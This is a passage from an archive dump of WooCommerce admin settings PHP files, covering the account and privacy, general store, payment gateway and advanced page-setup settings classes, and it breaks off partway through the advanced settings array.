		$( '#webhook-options' ).find( '#webhook_topic' ).on( 'change', function() {
			var current            = $( this ).val(),
				action_event_field = $( '#webhook-options' ).find( '#webhook-action-event-wrap' );

			action_event_field.hide();

			if ( 'action' === current ) {
				action_event_field.show();
			}
		}).trigger( 'change' );
	});
</script>
PK�3\Z>M"��-settings/views/class-wc-settings-rest-api.phpnu�[���<?php // @codingStandardsIgnoreFile.
/**
 * Settings class file.
 *
 * @deprecated 3.4.0 Replaced with class-wc-settings-advanced.php.
 * @todo remove in 4.0.
 */

defined( 'ABSPATH' ) || exit;

return include __DIR__ . '/class-wc-settings-advanced.php';
PK�3\��R�U'U''settings/class-wc-settings-accounts.phpnu�[���<?php
/**
 * WooCommerce Account Settings.
 *
 * @package WooCommerce\Admin
 */

defined( 'ABSPATH' ) || exit;

if ( class_exists( 'WC_Settings_Accounts', false ) ) {
	return new WC_Settings_Accounts();
}

/**
 * WC_Settings_Accounts.
 */
class WC_Settings_Accounts extends WC_Settings_Page {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->id    = 'account';
		$this->label = __( 'Accounts &amp; Privacy', 'woocommerce' );
		parent::__construct();
	}

	/**
	 * Get settings array.
	 *
	 * @return array
	 */
	protected function get_settings_for_default_section() {

		$erasure_text = esc_html__( 'account erasure request', 'woocommerce' );
		$privacy_text = esc_html__( 'privacy page', 'woocommerce' );
		if ( current_user_can( 'manage_privacy_options' ) ) {
			if ( version_compare( get_bloginfo( 'version' ), '5.3', '<' ) ) {
				$erasure_text = sprintf( '<a href="%s">%s</a>', esc_url( admin_url( 'tools.php?page=remove_personal_data' ) ), $erasure_text );
			} else {
				$erasure_text = sprintf( '<a href="%s">%s</a>', esc_url( admin_url( 'erase-personal-data.php' ) ), $erasure_text );
			}
			$privacy_text = sprintf( '<a href="%s">%s</a>', esc_url( admin_url( 'options-privacy.php' ) ), $privacy_text );
		}

		$account_settings = array(
			array(
				'title' => '',
				'type'  => 'title',
				'id'    => 'account_registration_options',
			),
			array(
				'title'         => __( 'Guest checkout', 'woocommerce' ),
				'desc'          => __( 'Allow customers to place orders without an account', 'woocommerce' ),
				'id'            => 'woocommerce_enable_guest_checkout',
				'default'       => 'yes',
				'type'          => 'checkbox',
				'checkboxgroup' => 'start',
				'autoload'      => false,
			),
			array(
				'title'         => __( 'Login', 'woocommerce' ),
				'desc'          => __( 'Allow customers to log into an existing account during checkout', 'woocommerce' ),
				'id'            => 'woocommerce_enable_checkout_login_reminder',
				'default'       => 'no',
				'type'          => 'checkbox',
				'checkboxgroup' => 'end',
				'autoload'      => false,
			),
			array(
				'title'         => __( 'Account creation', 'woocommerce' ),
				'desc'          => __( 'Allow customers to create an account during checkout', 'woocommerce' ),
				'id'            => 'woocommerce_enable_signup_and_login_from_checkout',
				'default'       => 'no',
				'type'          => 'checkbox',
				'checkboxgroup' => 'start',
				'autoload'      => false,
			),
			array(
				'desc'          => __( 'Allow customers to create an account on the "My account" page', 'woocommerce' ),
				'id'            => 'woocommerce_enable_myaccount_registration',
				'default'       => 'no',
				'type'          => 'checkbox',
				'checkboxgroup' => '',
				'autoload'      => false,
			),
			array(
				'desc'          => __( 'When creating an account, automatically generate an account username for the customer based on their name, surname or email', 'woocommerce' ),
				'id'            => 'woocommerce_registration_generate_username',
				'default'       => 'yes',
				'type'          => 'checkbox',
				'checkboxgroup' => '',
				'autoload'      => false,
			),
			array(
				'desc'          => __( 'When creating an account, automatically generate an account password', 'woocommerce' ),
				'id'            => 'woocommerce_registration_generate_password',
				'default'       => 'yes',
				'type'          => 'checkbox',
				'checkboxgroup' => 'end',
				'autoload'      => false,
			),
			array(
				'title'         => __( 'Account erasure requests', 'woocommerce' ),
				'desc'          => __( 'Remove personal data from orders on request', 'woocommerce' ),
				/* Translators: %s URL to erasure request screen. */
				'desc_tip'      => sprintf( esc_html__( 'When handling an %s, should personal data within orders be retained or removed?', 'woocommerce' ), $erasure_text ),
				'id'            => 'woocommerce_erasure_request_removes_order_data',
				'type'          => 'checkbox',
				'default'       => 'no',
				'checkboxgroup' => 'start',
				'autoload'      => false,
			),
			array(
				'desc'          => __( 'Remove access to downloads on request', 'woocommerce' ),
				/* Translators: %s URL to erasure request screen. */
				'desc_tip'      => sprintf( esc_html__( 'When handling an %s, should access to downloadable files be revoked and download logs cleared?', 'woocommerce' ), $erasure_text ),
				'id'            => 'woocommerce_erasure_request_removes_download_data',
				'type'          => 'checkbox',
				'default'       => 'no',
				'checkboxgroup' => 'end',
				'autoload'      => false,
			),
			array(
				'title'         => __( 'Personal data removal', 'woocommerce' ),
				'desc'          => __( 'Allow personal data to be removed in bulk from orders', 'woocommerce' ),
				'desc_tip'      => __( 'Adds an option to the orders screen for removing personal data in bulk. Note that removing personal data cannot be undone.', 'woocommerce' ),
				'id'            => 'woocommerce_allow_bulk_remove_personal_data',
				'type'          => 'checkbox',
				'checkboxgroup' => 'start',
				'default'       => 'no',
				'autoload'      => false,
			),
			array(
				'type' => 'sectionend',
				'id'   => 'account_registration_options',
			),
			array(
				'title' => __( 'Privacy policy', 'woocommerce' ),
				'type'  => 'title',
				'id'    => 'privacy_policy_options',
				/* translators: %s: privacy page link. */
				'desc'  => sprintf( esc_html__( 'This section controls the display of your website privacy policy. The privacy notices below will not show up unless a %s is set.', 'woocommerce' ), $privacy_text ),
			),

			array(
				'title'    => __( 'Registration privacy policy', 'woocommerce' ),
				'desc_tip' => __( 'Optionally add some text about your store privacy policy to show on account registration forms.', 'woocommerce' ),
				'id'       => 'woocommerce_registration_privacy_policy_text',
				/* translators: %s privacy policy page name and link */
				'default'  => sprintf( __( 'Your personal data will be used to support your experience throughout this website, to manage access to your account, and for other purposes described in our %s.', 'woocommerce' ), '[privacy_policy]' ),
				'type'     => 'textarea',
				'css'      => 'min-width: 50%; height: 75px;',
			),

			array(
				'title'    => __( 'Checkout privacy policy', 'woocommerce' ),
				'desc_tip' => __( 'Optionally add some text about your store privacy policy to show during checkout.', 'woocommerce' ),
				'id'       => 'woocommerce_checkout_privacy_policy_text',
				/* translators: %s privacy policy page name and link */
				'default'  => sprintf( __( 'Your personal data will be used to process your order, support your experience throughout this website, and for other purposes described in our %s.', 'woocommerce' ), '[privacy_policy]' ),
				'type'     => 'textarea',
				'css'      => 'min-width: 50%; height: 75px;',
			),
			array(
				'type' => 'sectionend',
				'id'   => 'privacy_policy_options',
			),
			array(
				'title' => __( 'Personal data retention', 'woocommerce' ),
				'desc'  => __( 'Choose how long to retain personal data when it\'s no longer needed for processing. Leave the following options blank to retain this data indefinitely.', 'woocommerce' ),
				'type'  => 'title',
				'id'    => 'personal_data_retention',
			),
			array(
				'title'       => __( 'Retain inactive accounts ', 'woocommerce' ),
				'desc_tip'    => __( 'Inactive accounts are those which have not logged in, or placed an order, for the specified duration. They will be deleted. Any orders will be converted into guest orders.', 'woocommerce' ),
				'id'          => 'woocommerce_delete_inactive_accounts',
				'type'        => 'relative_date_selector',
				'placeholder' => __( 'N/A', 'woocommerce' ),
				'default'     => array(
					'number' => '',
					'unit'   => 'months',
				),
				'autoload'    => false,
			),
			array(
				'title'       => __( 'Retain pending orders ', 'woocommerce' ),
				'desc_tip'    => __( 'Pending orders are unpaid and may have been abandoned by the customer. They will be trashed after the specified duration.', 'woocommerce' ),
				'id'          => 'woocommerce_trash_pending_orders',
				'type'        => 'relative_date_selector',
				'placeholder' => __( 'N/A', 'woocommerce' ),
				'default'     => '',
				'autoload'    => false,
			),
			array(
				'title'       => __( 'Retain failed orders', 'woocommerce' ),
				'desc_tip'    => __( 'Failed orders are unpaid and may have been abandoned by the customer. They will be trashed after the specified duration.', 'woocommerce' ),
				'id'          => 'woocommerce_trash_failed_orders',
				'type'        => 'relative_date_selector',
				'placeholder' => __( 'N/A', 'woocommerce' ),
				'default'     => '',
				'autoload'    => false,
			),
			array(
				'title'       => __( 'Retain cancelled orders', 'woocommerce' ),
				'desc_tip'    => __( 'Cancelled orders are unpaid and may have been cancelled by the store owner or customer. They will be trashed after the specified duration.', 'woocommerce' ),
				'id'          => 'woocommerce_trash_cancelled_orders',
				'type'        => 'relative_date_selector',
				'placeholder' => __( 'N/A', 'woocommerce' ),
				'default'     => '',
				'autoload'    => false,
			),
			array(
				'title'       => __( 'Retain completed orders', 'woocommerce' ),
				'desc_tip'    => __( 'Retain completed orders for a specified duration before anonymizing the personal data within them.', 'woocommerce' ),
				'id'          => 'woocommerce_anonymize_completed_orders',
				'type'        => 'relative_date_selector',
				'placeholder' => __( 'N/A', 'woocommerce' ),
				'default'     => array(
					'number' => '',
					'unit'   => 'months',
				),
				'autoload'    => false,
			),
			array(
				'type' => 'sectionend',
				'id'   => 'personal_data_retention',
			),
		);

		return apply_filters(
			'woocommerce_' . $this->id . '_settings',
			$account_settings
		);
	}
}

return new WC_Settings_Accounts();
PK�3\�t׭g)g)&settings/class-wc-settings-general.phpnu�[���<?php
/**
 * WooCommerce General Settings
 *
 * @package WooCommerce\Admin
 */

defined( 'ABSPATH' ) || exit;

if ( class_exists( 'WC_Settings_General', false ) ) {
	return new WC_Settings_General();
}

/**
 * WC_Admin_Settings_General.
 */
class WC_Settings_General extends WC_Settings_Page {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->id    = 'general';
		$this->label = __( 'General', 'woocommerce' );

		parent::__construct();
	}

	/**
	 * Get settings or the default section.
	 *
	 * @return array
	 */
	protected function get_settings_for_default_section() {

		$currency_code_options = get_woocommerce_currencies();

		foreach ( $currency_code_options as $code => $name ) {
			$currency_code_options[ $code ] = $name . ' (' . get_woocommerce_currency_symbol( $code ) . ')';
		}

		$settings =
			array(

				array(
					'title' => __( 'Store Address', 'woocommerce' ),
					'type'  => 'title',
					'desc'  => __( 'This is where your business is located. Tax rates and shipping rates will use this address.', 'woocommerce' ),
					'id'    => 'store_address',
				),

				array(
					'title'    => __( 'Address line 1', 'woocommerce' ),
					'desc'     => __( 'The street address for your business location.', 'woocommerce' ),
					'id'       => 'woocommerce_store_address',
					'default'  => '',
					'type'     => 'text',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Address line 2', 'woocommerce' ),
					'desc'     => __( 'An additional, optional address line for your business location.', 'woocommerce' ),
					'id'       => 'woocommerce_store_address_2',
					'default'  => '',
					'type'     => 'text',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'City', 'woocommerce' ),
					'desc'     => __( 'The city in which your business is located.', 'woocommerce' ),
					'id'       => 'woocommerce_store_city',
					'default'  => '',
					'type'     => 'text',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Country / State', 'woocommerce' ),
					'desc'     => __( 'The country and state or province, if any, in which your business is located.', 'woocommerce' ),
					'id'       => 'woocommerce_default_country',
					'default'  => 'US:CA',
					'type'     => 'single_select_country',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Postcode / ZIP', 'woocommerce' ),
					'desc'     => __( 'The postal code, if any, in which your business is located.', 'woocommerce' ),
					'id'       => 'woocommerce_store_postcode',
					'css'      => 'min-width:50px;',
					'default'  => '',
					'type'     => 'text',
					'desc_tip' => true,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'store_address',
				),

				array(
					'title' => __( 'General options', 'woocommerce' ),
					'type'  => 'title',
					'desc'  => '',
					'id'    => 'general_options',
				),

				array(
					'title'    => __( 'Selling location(s)', 'woocommerce' ),
					'desc'     => __( 'This option lets you limit which countries you are willing to sell to.', 'woocommerce' ),
					'id'       => 'woocommerce_allowed_countries',
					'default'  => 'all',
					'type'     => 'select',
					'class'    => 'wc-enhanced-select',
					'css'      => 'min-width: 350px;',
					'desc_tip' => true,
					'options'  => array(
						'all'        => __( 'Sell to all countries', 'woocommerce' ),
						'all_except' => __( 'Sell to all countries, except for&hellip;', 'woocommerce' ),
						'specific'   => __( 'Sell to specific countries', 'woocommerce' ),
					),
				),

				array(
					'title'   => __( 'Sell to all countries, except for&hellip;', 'woocommerce' ),
					'desc'    => '',
					'id'      => 'woocommerce_all_except_countries',
					'css'     => 'min-width: 350px;',
					'default' => '',
					'type'    => 'multi_select_countries',
				),

				array(
					'title'   => __( 'Sell to specific countries', 'woocommerce' ),
					'desc'    => '',
					'id'      => 'woocommerce_specific_allowed_countries',
					'css'     => 'min-width: 350px;',
					'default' => '',
					'type'    => 'multi_select_countries',
				),

				array(
					'title'    => __( 'Shipping location(s)', 'woocommerce' ),
					'desc'     => __( 'Choose which countries you want to ship to, or choose to ship to all locations you sell to.', 'woocommerce' ),
					'id'       => 'woocommerce_ship_to_countries',
					'default'  => '',
					'type'     => 'select',
					'class'    => 'wc-enhanced-select',
					'desc_tip' => true,
					'options'  => array(
						''         => __( 'Ship to all countries you sell to', 'woocommerce' ),
						'all'      => __( 'Ship to all countries', 'woocommerce' ),
						'specific' => __( 'Ship to specific countries only', 'woocommerce' ),
						'disabled' => __( 'Disable shipping &amp; shipping calculations', 'woocommerce' ),
					),
				),

				array(
					'title'   => __( 'Ship to specific countries', 'woocommerce' ),
					'desc'    => '',
					'id'      => 'woocommerce_specific_ship_to_countries',
					'css'     => '',
					'default' => '',
					'type'    => 'multi_select_countries',
				),

				array(
					'title'    => __( 'Default customer location', 'woocommerce' ),
					'id'       => 'woocommerce_default_customer_address',
					'desc_tip' => __( 'This option determines a customers default location. The MaxMind GeoLite Database will be periodically downloaded to your wp-content directory if using geolocation.', 'woocommerce' ),
					'default'  => 'base',
					'type'     => 'select',
					'class'    => 'wc-enhanced-select',
					'options'  => array(
						''                 => __( 'No location by default', 'woocommerce' ),
						'base'             => __( 'Shop base address', 'woocommerce' ),
						'geolocation'      => __( 'Geolocate', 'woocommerce' ),
						'geolocation_ajax' => __( 'Geolocate (with page caching support)', 'woocommerce' ),
					),
				),

				array(
					'title'    => __( 'Enable taxes', 'woocommerce' ),
					'desc'     => __( 'Enable tax rates and calculations', 'woocommerce' ),
					'id'       => 'woocommerce_calc_taxes',
					'default'  => 'no',
					'type'     => 'checkbox',
					'desc_tip' => __( 'Rates will be configurable and taxes will be calculated during checkout.', 'woocommerce' ),
				),

				array(
					'title'           => __( 'Enable coupons', 'woocommerce' ),
					'desc'            => __( 'Enable the use of coupon codes', 'woocommerce' ),
					'id'              => 'woocommerce_enable_coupons',
					'default'         => 'yes',
					'type'            => 'checkbox',
					'checkboxgroup'   => 'start',
					'show_if_checked' => 'option',
					'desc_tip'        => __( 'Coupons can be applied from the cart and checkout pages.', 'woocommerce' ),
				),

				array(
					'desc'            => __( 'Calculate coupon discounts sequentially', 'woocommerce' ),
					'id'              => 'woocommerce_calc_discounts_sequentially',
					'default'         => 'no',
					'type'            => 'checkbox',
					'desc_tip'        => __( 'When applying multiple coupons, apply the first coupon to the full price and the second coupon to the discounted price and so on.', 'woocommerce' ),
					'show_if_checked' => 'yes',
					'checkboxgroup'   => 'end',
					'autoload'        => false,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'general_options',
				),

				array(
					'title' => __( 'Currency options', 'woocommerce' ),
					'type'  => 'title',
					'desc'  => __( 'The following options affect how prices are displayed on the frontend.', 'woocommerce' ),
					'id'    => 'pricing_options',
				),

				array(
					'title'    => __( 'Currency', 'woocommerce' ),
					'desc'     => __( 'This controls what currency prices are listed at in the catalog and which currency gateways will take payments in.', 'woocommerce' ),
					'id'       => 'woocommerce_currency',
					'default'  => 'USD',
					'type'     => 'select',
					'class'    => 'wc-enhanced-select',
					'desc_tip' => true,
					'options'  => $currency_code_options,
				),

				array(
					'title'    => __( 'Currency position', 'woocommerce' ),
					'desc'     => __( 'This controls the position of the currency symbol.', 'woocommerce' ),
					'id'       => 'woocommerce_currency_pos',
					'class'    => 'wc-enhanced-select',
					'default'  => 'left',
					'type'     => 'select',
					'options'  => array(
						'left'        => __( 'Left', 'woocommerce' ),
						'right'       => __( 'Right', 'woocommerce' ),
						'left_space'  => __( 'Left with space', 'woocommerce' ),
						'right_space' => __( 'Right with space', 'woocommerce' ),
					),
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Thousand separator', 'woocommerce' ),
					'desc'     => __( 'This sets the thousand separator of displayed prices.', 'woocommerce' ),
					'id'       => 'woocommerce_price_thousand_sep',
					'css'      => 'width:50px;',
					'default'  => ',',
					'type'     => 'text',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Decimal separator', 'woocommerce' ),
					'desc'     => __( 'This sets the decimal separator of displayed prices.', 'woocommerce' ),
					'id'       => 'woocommerce_price_decimal_sep',
					'css'      => 'width:50px;',
					'default'  => '.',
					'type'     => 'text',
					'desc_tip' => true,
				),

				array(
					'title'             => __( 'Number of decimals', 'woocommerce' ),
					'desc'              => __( 'This sets the number of decimal points shown in displayed prices.', 'woocommerce' ),
					'id'                => 'woocommerce_price_num_decimals',
					'css'               => 'width:50px;',
					'default'           => '2',
					'desc_tip'          => true,
					'type'              => 'number',
					'custom_attributes' => array(
						'min'  => 0,
						'step' => 1,
					),
				),

				array(
					'type' => 'sectionend',
					'id'   => 'pricing_options',
				),
			);

		return apply_filters( 'woocommerce_general_settings', $settings );
	}

	/**
	 * Output a color picker input box.
	 *
	 * @param mixed  $name Name of input.
	 * @param string $id ID of input.
	 * @param mixed  $value Value of input.
	 * @param string $desc (default: '') Description for input.
	 */
	public function color_picker( $name, $id, $value, $desc = '' ) {
		echo '<div class="color_box">' . wc_help_tip( $desc ) . '
			<input name="' . esc_attr( $id ) . '" id="' . esc_attr( $id ) . '" type="text" value="' . esc_attr( $value ) . '" class="colorpick" /> <div id="colorPickerDiv_' . esc_attr( $id ) . '" class="colorpickdiv"></div>
		</div>';
	}
}

return new WC_Settings_General();
PK�3\�8\�'settings/class-wc-settings-checkout.phpnu�[���<?php // @codingStandardsIgnoreFile.
/**
 * Settings class file.
 *
 * @deprecated 3.4.0 Replaced with class-wc-settings-payment-gateways.php.
 * @todo remove in 4.0.
 */

defined( 'ABSPATH' ) || exit;

return include __DIR__ . '/class-wc-settings-payment-gateways.php';
PK�3\�pu."."/settings/class-wc-settings-payment-gateways.phpnu�[���<?php // @codingStandardsIgnoreLine.
/**
 * WooCommerce Checkout Settings
 *
 * @package WooCommerce\Admin
 */

defined( 'ABSPATH' ) || exit;

if ( class_exists( 'WC_Settings_Payment_Gateways', false ) ) {
	return new WC_Settings_Payment_Gateways();
}

/**
 * WC_Settings_Payment_Gateways.
 */
class WC_Settings_Payment_Gateways extends WC_Settings_Page {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->id    = 'checkout'; // @todo In future versions this may make more sense as 'payment' however to avoid breakage lets leave this alone until we refactor settings APIs in general.
		$this->label = _x( 'Payments', 'Settings tab label', 'woocommerce' );

		add_action( 'woocommerce_admin_field_payment_gateways', array( $this, 'payment_gateways_setting' ) );
		parent::__construct();
	}

	/**
	 * Get own sections.
	 *
	 * @return array
	 */
	protected function get_own_sections() {
		return array(
			'' => __( 'Payment methods', 'woocommerce' ),
		);
	}

	/**
	 * Get settings array.
	 *
	 * @return array
	 */
	protected function get_settings_for_default_section() {
		$settings =
			array(
				array(
					'title' => __( 'Payment methods', 'woocommerce' ),
					'desc'  => __( 'Installed payment methods are listed below and can be sorted to control their display order on the frontend.', 'woocommerce' ),
					'type'  => 'title',
					'id'    => 'payment_gateways_options',
				),
				array(
					'type' => 'payment_gateways',
				),
				array(
					'type' => 'sectionend',
					'id'   => 'payment_gateways_options',
				),
			);

		return apply_filters( 'woocommerce_payment_gateways_settings', $settings );
	}

	/**
	 * Output the settings.
	 */
	public function output() {
		//phpcs:disable WordPress.Security.NonceVerification.Recommended
		global $current_section;

		// Load gateways so we can show any global options they may have.
		$payment_gateways = WC()->payment_gateways->payment_gateways();

		if ( $current_section ) {
			foreach ( $payment_gateways as $gateway ) {
				if ( in_array( $current_section, array( $gateway->id, sanitize_title( get_class( $gateway ) ) ), true ) ) {
					if ( isset( $_GET['toggle_enabled'] ) ) {
						$enabled = $gateway->get_option( 'enabled' );

						if ( $enabled ) {
							$gateway->settings['enabled'] = wc_string_to_bool( $enabled ) ? 'no' : 'yes';
						}
					}
					$this->run_gateway_admin_options( $gateway );
					break;
				}
			}
		}

		parent::output();
		//phpcs:enable
	}

	/**
	 * Run the 'admin_options' method on a given gateway.
	 * This method exists to easy unit testing.
	 *
	 * @param object $gateway The gateway object to run the method on.
	 */
	protected function run_gateway_admin_options( $gateway ) {
		$gateway->admin_options();
	}

	/**
	 * Output payment gateway settings.
	 */
	public function payment_gateways_setting() {
		?>
		<tr valign="top">
		<td class="wc_payment_gateways_wrapper" colspan="2">
			<table class="wc_gateways widefat" cellspacing="0" aria-describedby="payment_gateways_options-description">
				<thead>
					<tr>
						<?php
						$default_columns = array(
							'sort'        => '',
							'name'        => __( 'Method', 'woocommerce' ),
							'status'      => __( 'Enabled', 'woocommerce' ),
							'description' => __( 'Description', 'woocommerce' ),
							'action'      => '',
						);

						$columns = apply_filters( 'woocommerce_payment_gateways_setting_columns', $default_columns );

						foreach ( $columns as $key => $column ) {
							echo '<th class="' . esc_attr( $key ) . '">' . esc_html( $column ) . '</th>';
						}
						?>
						</tr>
					</thead>
					<tbody>
						<?php
						foreach ( WC()->payment_gateways->payment_gateways() as $gateway ) {

							echo '<tr data-gateway_id="' . esc_attr( $gateway->id ) . '">';

							foreach ( $columns as $key => $column ) {
								if ( ! array_key_exists( $key, $default_columns ) ) {
									do_action( 'woocommerce_payment_gateways_setting_column_' . $key, $gateway );
									continue;
								}

								$width = '';

								if ( in_array( $key, array( 'sort', 'status', 'action' ), true ) ) {
									$width = '1%';
								}

								$method_title = $gateway->get_method_title() ? $gateway->get_method_title() : $gateway->get_title();
								$custom_title = $gateway->get_title();

								echo '<td class="' . esc_attr( $key ) . '" width="' . esc_attr( $width ) . '">';

								switch ( $key ) {
									case 'sort':
										?>
										<div class="wc-item-reorder-nav">
											<button type="button" class="wc-move-up" tabindex="0" aria-hidden="false" aria-label="<?php /* Translators: %s Payment gateway name. */ echo esc_attr( sprintf( __( 'Move the "%s" payment method up', 'woocommerce' ), $method_title ) ); ?>"><?php esc_html_e( 'Move up', 'woocommerce' ); ?></button>
											<button type="button" class="wc-move-down" tabindex="0" aria-hidden="false" aria-label="<?php /* Translators: %s Payment gateway name. */ echo esc_attr( sprintf( __( 'Move the "%s" payment method down', 'woocommerce' ), $method_title ) ); ?>"><?php esc_html_e( 'Move down', 'woocommerce' ); ?></button>
											<input type="hidden" name="gateway_order[]" value="<?php echo esc_attr( $gateway->id ); ?>" />
										</div>
										<?php
										break;
									case 'name':
										echo '<a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=' . strtolower( $gateway->id ) ) ) . '" class="wc-payment-gateway-method-title">' . wp_kses_post( $method_title ) . '</a>';

										if ( $method_title !== $custom_title ) {
											echo '<span class="wc-payment-gateway-method-name">&nbsp;&ndash;&nbsp;' . wp_kses_post( $custom_title ) . '</span>';
										}
										break;
									case 'description':
										echo wp_kses_post( $gateway->get_method_description() );
										break;
									case 'action':
										if ( wc_string_to_bool( $gateway->enabled ) ) {
											/* Translators: %s Payment gateway name. */
											echo '<a class="button alignright" aria-label="' . esc_attr( sprintf( __( 'Manage the "%s" payment method', 'woocommerce' ), $method_title ) ) . '" href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=' . strtolower( $gateway->id ) ) ) . '">' . esc_html__( 'Manage', 'woocommerce' ) . '</a>';
										} else {
											/* Translators: %s Payment gateway name. */
											echo '<a class="button alignright" aria-label="' . esc_attr( sprintf( __( 'Set up the "%s" payment method', 'woocommerce' ), $method_title ) ) . '" href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=' . strtolower( $gateway->id ) ) ) . '">' . esc_html__( 'Set up', 'woocommerce' ) . '</a>';
										}
										break;
									case 'status':
										echo '<a class="wc-payment-gateway-method-toggle-enabled" href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=' . strtolower( $gateway->id ) ) ) . '">';
										if ( wc_string_to_bool( $gateway->enabled ) ) {
											/* Translators: %s Payment gateway name. */
											echo '<span class="woocommerce-input-toggle woocommerce-input-toggle--enabled" aria-label="' . esc_attr( sprintf( __( 'The "%s" payment method is currently enabled', 'woocommerce' ), $method_title ) ) . '">' . esc_attr__( 'Yes', 'woocommerce' ) . '</span>';
										} else {
											/* Translators: %s Payment gateway name. */
											echo '<span class="woocommerce-input-toggle woocommerce-input-toggle--disabled" aria-label="' . esc_attr( sprintf( __( 'The "%s" payment method is currently disabled', 'woocommerce' ), $method_title ) ) . '">' . esc_attr__( 'No', 'woocommerce' ) . '</span>';
										}
										echo '</a>';
										break;
								}

								echo '</td>';
							}

							echo '</tr>';
						}
						?>
					</tbody>
				</table>
			</td>
		</tr>
		<?php
	}

	/**
	 * Save settings.
	 */
	public function save() {
		global $current_section;

		$wc_payment_gateways = WC_Payment_Gateways::instance();

		$this->save_settings_for_current_section();

		if ( ! $current_section ) {
			// If section is empty, we're on the main settings page. This makes sure 'gateway ordering' is saved.
			$wc_payment_gateways->process_admin_options();
			$wc_payment_gateways->init();
		} else {
			// There is a section - this may be a gateway or custom section.
			foreach ( $wc_payment_gateways->payment_gateways() as $gateway ) {
				if ( in_array( $current_section, array( $gateway->id, sanitize_title( get_class( $gateway ) ) ), true ) ) {
					do_action( 'woocommerce_update_options_payment_gateways_' . $gateway->id );
					$wc_payment_gateways->init();
				}
			}

			$this->do_update_options_action();
		}
	}
}

return new WC_Settings_Payment_Gateways();
PK�3\@;%�[?[?'settings/class-wc-settings-advanced.phpnu�[���<?php
/**
 * WooCommerce advanced settings
 *
 * @package  WooCommerce\Admin
 */

defined( 'ABSPATH' ) || exit;

/**
 * Settings for API.
 */
if ( class_exists( 'WC_Settings_Advanced', false ) ) {
	return new WC_Settings_Advanced();
}

/**
 * WC_Settings_Advanced.
 */
class WC_Settings_Advanced extends WC_Settings_Page {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->id    = 'advanced';
		$this->label = __( 'Advanced', 'woocommerce' );

		parent::__construct();
		$this->notices();
	}

	/**
	 * Get own sections.
	 *
	 * @return array
	 */
	protected function get_own_sections() {
		return array(
			''                => __( 'Page setup', 'woocommerce' ),
			'keys'            => __( 'REST API', 'woocommerce' ),
			'webhooks'        => __( 'Webhooks', 'woocommerce' ),
			'legacy_api'      => __( 'Legacy API', 'woocommerce' ),
			'woocommerce_com' => __( 'WooCommerce.com', 'woocommerce' ),
		);
	}

	/**
	 * Get settings for the default section.
	 *
	 * @return array
	 */
	protected function get_settings_for_default_section() {
		$settings =
			array(
				array(
					'title' => __( 'Page setup', 'woocommerce' ),
					'desc'  => __( 'These pages need to be set so that WooCommerce knows where to send users to checkout.', 'woocommerce' ),
					'type'  => 'title',
					'id'    => 'advanced_page_options',
				),

				array(
					'title'    => __( 'Cart page', 'woocommerce' ),
					/* Translators: %s Page contents. */
					'desc'     => sprintf( __( 'Page contents: [%s]', 'woocommerce' ), apply_filters( 'woocommerce_cart_shortcode_tag', 'woocommerce_cart' ) ),
					'id'       => 'woocommerce_cart_page_id',
					'type'     => 'single_select_page_with_search',
					'default'  => '',
					'class'    => 'wc-page-search',
					'css'      => 'min-width:300px;',
					'args'     => array(
						'exclude' =>
							array(
								wc_get_page_id( 'checkout' ),
								wc_get_page_id( 'myaccount' ),
							),
					),
					'desc_tip' => true,
					'autoload' => false,
				),

				array(
					'title'    => __( 'Checkout page', 'woocommerce' ),
					/* Translators: %s Page contents. */
					'desc'     => sprintf( __( 'Page contents: [%s]', 'woocommerce' ), apply_filters( 'woocommerce_checkout_shortcode_tag', 'woocommerce_checkout' ) ),
					'id'       => 'woocommerce_checkout_page_id',
					'type'     => 'single_select_page_with_search',
					'default'  => wc_get_page_id( 'checkout' ),
					'class'    => 'wc-page-search',
					'css'      => 'min-width:300px;',
					'args'     => array(
						'exclude' =>
							array(
								wc_get_page_id( 'cart' ),
								wc_get_page_id( 'myaccount' ),
							),
					),
					'desc_tip' => true,
					'autoload' => false,
				),

				array(
					'title'    => __( 'My account page', 'woocommerce' ),
					/* Translators: %s Page contents. */
					'desc'     => sprintf( __( 'Page contents: [%s]', 'woocommerce' ), apply_filters( 'woocommerce_my_account_shortcode_tag', 'woocommerce_my_account' ) ),
					'id'       => 'woocommerce_myaccount_page_id',
					'type'     => 'single_select_page_with_search',
					'default'  => '',
					'class'    => 'wc-page-search',
					'css'      => 'min-width:300px;',
					'args'     => array(
						'exclude' =>
							array(
								wc_get_page_id( 'cart' ),
								wc_get_page_id( 'checkout' ),
							),
					),
					'desc_tip' => true,
					'autoload' => false,
				),

				array(
					'title'    => __( 'Terms and conditions', 'woocommerce' ),
					'desc'     => __( 'If you define a "Terms" page the customer will be asked if they accept them when checking out.', 'woocommerce' ),
					'id'       => 'woocommerce_terms_page_id',
					'default'  => '',
					'class'    => 'wc-page-search',
					'css'      => 'min-width:300px;',
					'type'     => 'single_select_page_with_search',
					'args'     => array( 'exclude' => wc_get_page_id( 'checkout' ) ),
					'desc_tip' => true,
					'autoload' => false,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'advanced_page_options',
				),

				array(
					'title' => '',
					'type'  => 'title',
					'id'    => 'checkout_process_options',
				),

				'force_ssl_checkout'   => array(
					'title'           => __( 'Secure checkout', 'woocommerce' ),
					'desc'            => __( 'Force secure checkout', 'woocommerce' ),
					'id'              => 'woocommerce_force_ssl_checkout',
					'default'         => 'no',
					'type'            => 'checkbox',
					'checkboxgroup'   => 'start',
					'show_if_checked' => 'option',
					/* Translators: %s Docs URL. */
					'desc_tip'        => sprintf( __( 'Force SSL (HTTPS) on the checkout pages (<a href="%s" target="_blank">an SSL Certificate is required</a>).', 'woocommerce' ), 'https://docs.woocommerce.com/document/ssl-and-https/#section-3' ),
				),

				'unforce_ssl_checkout' => array(
